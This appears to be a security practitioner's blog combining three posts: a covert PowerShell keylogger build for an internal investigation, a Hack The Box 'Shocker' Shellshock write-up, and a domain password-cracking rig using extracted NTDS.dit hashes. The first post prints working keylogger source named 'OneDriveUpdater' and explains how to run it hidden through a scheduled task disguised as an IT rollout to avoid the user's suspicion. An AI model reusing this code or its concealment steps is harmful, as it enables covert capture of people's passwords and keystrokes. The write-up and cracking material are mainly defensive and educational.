Practical Application of Keylogger for IR


As part of a recent internal investigation, we identified a need for a keylogger to grab some creds off a corporate laptop. After getting the necessary approvals lined up and documented, I started looking into how we might potentially do this.

This isn’t a standard pentest/offensivesec engagement where we needed to gain access first, since we already had local admin as part of standard sysadmin access. So we jumped straight into “exploit development”. Did a quick Google of keyloggers and found the usual candidates. Powershell would work for us in this scenario since we controlled antivirus and script execution settings, so we proceeded down this path.

Googlefu yielded several candidates, and I’ll talk through the rationale / evolution of what happened for us with the four Powershell keyloggers we used: simple keylogger, Powersploit, Nishang, and Shima’s.

Possible Solutions

“simple keylogger” :

I initially found this keylogger as the fourth hit on Google. After quickly reviewing the code and getting familiar, this seemed like it would work for us. I particularly liked the fact this had 1) documented coded (yay) and 2) had good hooks for debugging (console writes, opening file at the end). Gave a good structure to quickly iterate through.

I’ll speak later about our deployment, but the main challenge with this script was the fidelity of results that it returned. In our test deployment, we observed that keypresses were being dropped and it generally gave inconsistent results. It improved as the Start-Sleep -Milliseconds 40 timer was reduced, but Powershell CPU usage went way up (at value=1, CPU util=25%). That’d be super noticable (cue fan noise) and the accuracy of keystroke capture still wasn’t high enough. So we dropped this and started looking for alternative measures.

So that took me to Powersploit’s Get-Keystrokes. I’ve used other Powersploit modules, but never this one so figured I’d give it a shot and it’d be a slam dunk. Did some quick modifications to suit our environment. But when executed, output was just the header “TypedKey”,”WindowTitle”,”Time” but no keys captured. I’m no Powershell expert, so after ~10 minutes of fiddling, decided I’d see if there were other options and return to this if I couldn’t find another alternative.

Alright well if Powersploit isn’t going to work, let’s check out the nishang option. The persistence features and web based upload are pretty cool for pentest engagements, but not necessarily needed for this endeavor. Making the modifications to bring storage back internal seemed to be more intense, so after about 5 minutes on looking at this, went back to Google for something closer to endstate (because I’m lazy).

So then stumbled upon Shima’s keylogger. This was succinct enough that it would do the trick! Testing this quickly showed promise, but the output file listed each character on its own line. Since English is left to right readstyle, and I really didn’t want to write another script to post-process this file, I looked at options of fixing this. Output was based on

 Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $mychar.ToString()

and there’s a great argument -NoNewline that looked promising from Whipped that together and deployed on the test box, but quickly was back to the drawing board because this argument is a Powershell 5.0 feature, and the target was still on 2.0.

So to get around this, I figured let’s just build a string buffer with the inputs and write whenever we get an enter. A bit hacky, but should work fine and writing the buffer upon carriage return to the output file will suit our needs. Not being a Powershell guru, took some time to finally identify how to flag a carriage return with the converted keystate, but after consulting an Ascii table (like and testing 10 (line feed) and 13 (carriage return), we had a winner. So final code looked like this

function OneDriveUpdater {
$logfile = "$env:temp\key.log"
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
$getKState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
$bufferString = ""
while ($true) {
Start-Sleep -Milliseconds 40
$validator = ""

for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$validator = $getKState::GetAsyncKeyState($vkey)

if ($validator -eq -32767) {

$l_shift = $getKState::GetAsyncKeyState(160)
$r_shift = $getKState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock

$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

if ($unicode_res -gt 0) {
if ($mychar.ToString() -eq "`r") {
#debugging write output in case of error
Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $bufferString.ToString()
$bufferString = ""
else {$bufferString = $bufferString + $mychar}



For the deployment mechanism, we decided upon a scheduled task because we could connect to the endpoint remotely and we had local admin. So just pop open Scheduled Tasks, connect to endpoint remotely:

Create a task, and this is important, make sure to run it as the user. The script has to be run in the user’s context, otherwise you’ll get nothing.


Then another thing to note is the Action, we’ll kick powershell.exe but adding the flag -WindowStyle Hidden, which will result in a quick flicker of a powershell window but will quickly disappear. So either kick it off when the user isn’t around (afterhours) or make it a plausible looking script. We hijacked a current IT rollout to masquerade the script so it didn’t arouse too much suspicion.

The rest of the options are up to you: triggers, job ending/repeating, etc. We went with time kickoff in this particular example.

One final note is that we went with a network share location to store the files, a local filer that did the trick. Helps avoid the storage issue if the files get too large, and one less connection into the target’s box.


So that’s about a wrap. Was a useful exercise for us, got me more familiar with keylogger options on the cheap, since we don’t own a product that would do this for us.  And I wasn’t really in the mood to download a <insert nation-state here> backdoored keylogger. Anyway, hope this helped. Enjoy

Shocker – Hack The Box writeup

Been a while since I did a blog post, but figured I’d jump on the bandwagon of Hack The Box writeups for retired boxes. Got the message that Valentine was being released on 2018-02-17 and retiring Shocker, which was a nice little box that I had managed to own user and system. So I thought I’d writeup my approach and observations.

Run through a quick nmap, see what we’re working with. Since it’s an easy box, common ports should trigger something:

Ok, HTTP and SSH. Haven’t seen an SSH bruteforce attack vector be meaningful, so let’s look at the HTTP service:

Alright, cute jpeg. No other links. Let’s start brute force browsing. Whipping out dirb in this instance (it is what they teach you in OSCP).

Ya know, dirb isn’t the fastest. Which made me look for something else a bit more powerful than the “easy mode” dirb. (And just forget dirbuster, too flakey for me). Enter wfuzz. Switched over to this and watched the results fly by.

Hmm ok, no dice with a default wordlist with default settings. Not so easy peasey. So, let’s look at what we have: Apache webserver with URI of /cgi-bin/ , box name of Shocker, could this be Shellshock? Take a look through if you aren’t familiar, a good classic vuln, even on OWASP hitlist. So if the tool defaults didn’t work, let’s try refining our tools.

So we’re looking for CGI scripts. Referenced this site to remember how CGI worked. So looking for scripts with particular file extensions, could be .cgi or .pl. So ok, fire up the ol’ wfuzz again, let’s see.

Well crap, we continue to look. Google-fu deployed, and stumbled upon this site regarding bash scripts being able to be used. So let’s try .sh filetype:

Ah hah!, that’ll work. So time to fire up the exploit. I used Burpsuite Repeater for this, a bit easier than working CLI since I’m old and legally blind, GUI helps the ol’ eyes. Prepped this with a reverse bash shell payload ala Pentest Monkey’s cheatsheet.

Alright! We got user, onward and upwards. So let’s upload the standard Linux enumeration script via wget and a python SimpleHTTPServer. Running this, we see this snippet of interesting-ness:

So the line of attack is to get a perl script to read the contents of the flag file and just sudo it. Easy enough to whip up:

And that’s a wrap. Fun little box, enumeration is key. Thanks @hackthebox_eu and @mrb3n813!


Practical Application of a Password Cracking Rig

Due to a string of events in a recent forensics investigation, our InfoSec department had ourselves an abandoned graphics design desktop with an NVIDIA Quadro K5000. With this windfall, I decided this was a good time to try out something I saw from the folks at shellntel, but with only 1 GPU instead of 8. Gotta start somewhere.

Following their article, I learned a couple of things that I thought I’d share.

OS install

I would have gone whole disk encryption rather than encrypt partition like shelIntel did. While this may give you some flexibility, mounting an ecryptfs partition every time is a bit annoying (more on this below).

Lots of articles on how to do this with your homedir, but not a lot on manual. Basically take your mount point (in my case, I used /opt) and mount it as ecryptfs. Note that you must answer the questions exactly as you set it up for this to work. I chose to encrypt filenames and forgot it’s not the default and panicked when it didn’t work on the first go.

Once initialized, move all your files in. I put hashview and hashcat both in /opt since both contain files that, if exposed, I’d find rather unfortunate.

Pros: you don’t have to be local to keyboard to boot like you do with LVM encryption. I ended up setting up a Grub password (in case the desktop grows legs), so have to be local anyway. Cons: you have to remember to mount post boot, and remember what your settings were exactly (see the options above). Mess that up and no dice.

And other hardening steps: Configure SSH (no root login, SSH keys, switch to nonstandard port), adjust sudoers to not require password (lazy), fail2ban (adjust for the port change), Grub password, unattended-upgrades, purge-old-kernels.


Wasn’t very intuitive. We have a Kali VM that we’d been using previously for cracking with John, so needed to translate this.


So 53114.6k hashcat vs. 734.153k JtR, looking at almost 7250% improvement. Also frees up our Kali / VM environment if we need to crack something. I’ll take it for $free.99.


From the time I initially built this to the end of April, the guys over at Hashview released an update which provided a couple of things: NTLMv2 hash support and daemonized process running. Had to do some fanciness with screen to background the running ruby process, but now it’s got a ruby foreman process manager.

My only gotcha on this one is that make sure you specify the hashcat binary path that includes the actual binary. This wasn’t super clear, and took some error log analysis to figure out that hashview was missing the binary. Doh!

NTDS.dit Cracking

So with a new shiny rig, what do you throw at it? Well of course, what juicier example than your domain’s hashes! This took some effort as there’s a lot of older posts that made this more challenging than it should have been.

With domain admin creds, I used the shadow volume process of grabbing the NTDS.dit file and SYSTEM hive (make sure you get both from the same domain controller). Threw this over to our Kali box to stage (handle with care).

Alright, now to pull out some hashes. I followed Didier Stevens’ article to extract, and quickly did the first steps with esedbexport. But the extraction using ntdsxtract ran for 3 days with minimal progress. Being impatient, I started researching and found the guys over at Sword and Shield  with a similar challenge (I, too, was a sad panda) and their solution of impacket’s Sure enough, within minutes we’ve got hashes!

One word of warning here, make sure you understand that the hashes pulled via are username:hash, which means you’ll shortly find actual people’s passwords. Now this means you’ve got some sensitive info on your hands and your boss may be surprised to find that you now know some important people’s passwords. Having the userid makes for good analysis (services accounts with terrible passwords, analytics on distribution of terrible base words across the org, etc.) but means you gotta secure the heck out of this and you have trusted resources working with the data.

Let’s Get Cracking

Throwing this into Hashview is pretty simple. The complexity comes in the Tasks that you setup. Being an initiate to the world of hashcat, I was unaware of hashcat config and masks.  In hindsight, after Google-fu and guessing, I found Hash Crack primer would have helped immensely.

Wordlists I went with were, of course, rockyou.txt from Kali box. Also read g0tm1lk’s article wordlists for some great context, and grabbed the 18_in_1 wordlist. You’ll also want to start a special wordlist specific to your organization; we’ve taken to grabbing cewl results (via a little helper) from our websites (internal and external)  and referencing our known wordlists from previous redteam exercises.

Dictionary rules are also pretty interesting to read up on. _NSAKEY’s writeup was a good overview. I ended up selecting best64 (comes installed with Hashview) with dictionaries, then d3ad0ne’s ruleset through the dictionaries. Depending on my percentage cracked and time I want to spend, I’ll cancel or keep running.

Cool thing about Hashview is you can queue tasks in your order, starting easy to most time intensive. Also, Hashview by design lets you start/stop your cracking if you need to reboot, power goes out, or you spill a brewski on it.

Last tidbit is the ol’ bruteforce with hashcat masks. Hashview comes with a 7 character lower alpha bruteforce mask. But what if you want to beyond that? Well looks like this below in Hashview:

We could do 8 chars no specials in 2-3 days, and 8 chars with specials in a week.  Going above that starts to exponentially ratchet up the time. But this was enough to scare IT leadership to move forward with pushing a higher character requirement, so we’ll be visiting going above 8 in the near future.

What’s Next

So now you’ve got some cracked passwords, and are utterly horrified at how bad some people’s passwords are. This shined great light on the need to have a password dictionary solution in the organization. We’d received several pentest reports about our easily cracked passwords, and so we purchased nFront’s solution which was a breeze to install.  Check out their demo videos, good stuff. O365 and Azure AD still needs to be tackled for us (more to come on  this) but this’ll work for on-prem as we’re keeping our domain controllers. We easily converted our existing AD password policy into nFront, added the 2+ consecutive character limitation, and tacked on the dictionary option. We went with our own custom dictionary, targeting 500 words at first (so not to incite mass enduser riots). Easy ones first: geo-specific words go in, business units, all the naughty words, password/sesame/etc. Just remember when audit time comes around, you’ll need to pull the nFront GPO instead of your normal default domain GPO (it works on a “take the most restrictive” model).

Feedback Loop

With that baseline, we can institute a closed loop system, cracking domain passwords and taking the top 10 (or X, your pick) passwords and building a prohibited wordlist. I had known about terrible passwords like Welcome01 or Spring2017 going into this, but eyes were open! We even found a whole department that shared the same base word that we never would have guessed! So all of that got tossed into our password dictionary, and we wait for the password rotations to alter password selection choice.

Our idea now is to do this every quarter (which ensures everyone gets one password expiration rotation in), and continuously audit our password stance. This will give us quantitative analysis to see the trends: find additional key choice words which should be prohibited, evaluate if security training around passwords (we’re pushing passphrases with spaces) is effective or needs to be tweaked, feedback the terrible passwords into red team wordlists to see if non-AD passwords are terrible (I’m looking at you Linux, network, and application based creds). I’ll post a comparative blog post when the data becomes available.

Let me know if you found this useful, are having similar success in your organization, or just want to talk infosec. Hit me up on the Mastadon @sp3nx0r.